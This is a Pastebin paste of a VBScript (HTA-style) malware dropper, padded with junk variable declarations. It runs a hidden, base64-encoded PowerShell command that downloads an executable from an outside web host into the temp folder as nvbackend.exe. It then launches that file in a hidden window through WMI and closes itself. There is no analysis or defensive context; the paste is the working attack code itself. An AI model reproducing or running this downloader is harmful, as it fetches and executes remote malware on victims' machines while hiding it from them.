Advertisement
amoney

Untitled

May 21st, 2019
186
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.52 KB | None | 0 0
  1. <script language="VBScript">
  2. Function var_Beinjaman()
  3. Dim Dunjalar1212
  4. Dim Dunjalar12121
  5. Dim Dunjalar12122
  6. Dim Dunjalar12123
  7. Dim Dunjalar12124
  8. Set Dunjalar1212 = CreateObject("Wscript.Shell")
  9. Dim Dunjalar12125
  10. Dim Dunjalar12126
  11. Dim Dunjalar12127
  12. Dim Dunjalar12128
  13. temp = Dunjalar1212.expandEnvironmentStrings("%temp%")
  14. Dim Dunjalar12129
  15. Dim Dunjalar121210
  16. Dim Dunjalar121211
  17. Dim Dunjalar121212
  18. Dim Dunjalar121213
  19. Dim Dunjalar121214
  20. Dunjalar1212.run "powershell -nop -w 1 -e aQBlAHgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABmAGkAbABlACgAIgBoAHQAdABwADoALwAvAGUAYwAuAHIAawAtAHMAdABvAHIAZQAuAG4AZQB0AC8AYgBsAG8AZwAvAHcAcAAtAGEAZABtAGkAbgAvAG8AYgBpAC4AZQB4AGUAIgAsACIAJABlAG4AdgA6AHQAZQBtAHAAXABuAHYAYgBhAGMAawBlAG4AZAAuAGUAeABlACIAKQApADsA", 0, true
  21. Dim Dunjalar121215
  22. Dim Dunjalar121216
  23. Dim Dunjalar121217
  24. Dim Dunjalar121218
  25. End Function
  26. Sub window_onload
  27. const impersonation = 3
  28. Const HIDDEN_WINDOW = 12
  29. Set Locator = CreateObject("WbemScripting.SWbemLocator")
  30. Set Service = Locator.ConnectServer()
  31. Service.Security_.ImpersonationLevel=impersonation
  32. Set objStartup = Service.Get("Win32_ProcessStartup")
  33. Set objConfig = objStartup.SpawnInstance_
  34. objConfig.ShowWindow = HIDDEN_WINDOW
  35. Set Process = Service.Get("Win32_Process")
  36. Error = Process.Create("cmd /c %temp%\nvbackend.exe", null, objConfig, intProcessID)
  37. window.close()
  38. end sub
  39.  
  40.  
  41. var_Beinjaman
  42. self.close
  43. </script>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement